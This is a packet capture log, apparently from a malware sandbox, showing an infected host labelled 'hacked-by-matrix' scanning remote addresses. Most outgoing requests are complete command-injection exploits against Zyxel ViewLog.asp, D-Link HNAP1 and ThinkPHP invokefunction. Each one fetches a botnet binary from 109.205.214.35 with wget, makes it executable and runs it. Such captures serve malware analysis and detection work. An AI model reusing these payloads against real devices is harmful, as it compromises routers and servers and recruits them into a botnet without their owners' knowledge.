66 66 66 26 70 65 3d 38 39 32 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 38 39 35 33 38 36 30 36 33 31 35 30 38 33 36 30 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=8-6109349-0%200NNN%20RT%281710994698325%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-28953860631508360&edet=3&cinfo=ffffffff&pe=892&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-28953860631508360</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
966	192.168.2.23	55728	83.138.85.156	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.703185081 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:18.883919954 CET	497	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:18:19 GMT Server: Apache Location: https://127.0.0.1/err403.php Content-Length: 236 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 65 72 72 34 30 33 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1/err403.php">here</a>.</p></body></html>
Mar 21, 2024 05:18:18.883932114 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:19 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
967	192.168.2.23	51104	82.134.252.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.710983992 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
968	192.168.2.23	44574	82.143.95.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.714976072 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:18.902753115 CET	989	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:17:57 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.1.1b PHP/5.6.40 Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 245 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 35 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 62 20 50 48 50 2f 35 2e 36 2e 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1/cgi-bin/ViewLog.asp">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:57 GMTServer: Apache/2.4.38 (Win64) OpenSSL/1.1.1b PHP/5.6.40Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Mar 21, 2024 05:18:19.392204046 CET	989	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:17:57 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.1.1b PHP/5.6.40 Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 245 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 35 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 62 20 50 48 50 2f 35 2e 36 2e 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1/cgi-bin/ViewLog.asp">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:57 GMTServer: Apache/2.4.38 (Win64) OpenSSL/1.1.1b PHP/5.6.40Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Mar 21, 2024 05:18:20.014986038 CET	989	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:17:57 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.1.1b PHP/5.6.40 Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 245 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 35 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 62 20 50 48 50 2f 35 2e 36 2e 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1/cgi-bin/ViewLog.asp">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:57 GMTServer: Apache/2.4.38 (Win64) OpenSSL/1.1.1b PHP/5.6.40Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
969	192.168.2.23	50580	138.97.9.253	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.919399023 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:18:19.128757000 CET	349	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
970	192.168.2.23	50846	95.68.224.105	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.933715105 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:25.400201082 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:25.619402885 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Thu, 21 Mar 2024 04:18:20 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
971	192.168.2.23	41480	34.49.26.209	52869

Timestamp	Bytes transferred	Direction	Data
